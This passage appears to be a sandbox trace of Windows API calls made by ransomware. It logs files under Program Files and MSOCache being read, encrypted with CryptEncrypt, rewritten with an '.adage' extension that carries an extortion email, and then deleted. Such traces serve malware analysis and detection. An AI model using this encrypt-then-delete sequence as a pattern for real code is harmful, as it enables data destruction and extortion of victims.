GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.571] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.577] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.577] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x344f978 | out: lpNewFilePointer=0x0) returned 1 [0054.577] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.586] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f930*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f98c | out: phKey=0x344f98c*=0x4d88a0) returned 1 [0054.586] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.586] ReadFile (in: hFile=0x19c, lpBuffer=0x3690020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x344f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesRead=0x344f9b4*=0x521b9, lpOverlapped=0x0) returned 1 [0054.612] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x521c0, dwBufLen=0x521c0 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x521c0) returned 1 [0054.617] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0x521c0, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0x521c0, lpOverlapped=0x0) returned 1 [0054.624] CryptImportKey (in: hProv=0x4c5018, pbData=0x344f924*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x344f990 | out: phKey=0x344f990*=0x4d8860) returned 1 [0054.624] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x344fa40, dwFlags=0x0) returned 1 [0054.624] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3690020*, pdwDataLen=0x344f950*=0x40, dwBufLen=0x40 | out: pbData=0x3690020*, pdwDataLen=0x344f950*=0x40) returned 1 [0054.624] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.624] WriteFile (in: hFile=0x194, lpBuffer=0x3690020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x344f998, lpOverlapped=0x0 | out: lpBuffer=0x3690020*, lpNumberOfBytesWritten=0x344f998*=0xf2, lpOverlapped=0x0) returned 1 [0054.625] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.625] CloseHandle (hObject=0x19c) returned 1 [0054.625] CloseHandle (hObject=0x194) returned 1 [0055.011] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0117-0409-0000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0117-0409-0000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0055.015] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.148] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=31744) returned 1 [0055.148] CloseHandle (hObject=0x19c) returned 1 [0055.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0055.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.148] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.149] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=222208) returned 1 [0055.149] CloseHandle (hObject=0x19c) returned 1 [0055.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0055.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.150] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.151] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=194048) returned 1 [0055.151] CloseHandle (hObject=0x19c) returned 1 [0055.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0055.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.151] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.152] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1600388) returned 1 [0055.152] CloseHandle (hObject=0x19c) returned 1 [0055.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0055.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0055.152] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0055.152] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.154] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1434) returned 1 [0055.154] CloseHandle (hObject=0x19c) returned 1 [0055.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0055.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.154] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.155] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=212) returned 1 [0055.155] CloseHandle (hObject=0x19c) returned 1 [0055.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0055.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.155] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.156] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=384) returned 1 [0055.156] CloseHandle (hObject=0x19c) returned 1 [0055.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0055.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.156] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.158] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1118) returned 1 [0055.158] CloseHandle (hObject=0x19c) returned 1 [0055.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0055.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.158] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.158] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=392) returned 1 [0055.159] CloseHandle (hObject=0x19c) returned 1 [0055.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0055.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.159] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.160] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=727) returned 1 [0055.160] CloseHandle (hObject=0x19c) returned 1 [0055.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0055.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.161] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.162] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3150) returned 1 [0055.162] CloseHandle (hObject=0x19c) returned 1 [0055.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0055.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.163] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.163] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=247) returned 1 [0055.163] CloseHandle (hObject=0x19c) returned 1 [0055.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0055.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.163] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.164] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3161) returned 1 [0055.164] CloseHandle (hObject=0x19c) returned 1 [0055.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0055.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.165] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.165] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3166) returned 1 [0055.165] CloseHandle (hObject=0x19c) returned 1 [0055.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0055.165] GetFileAttributesW 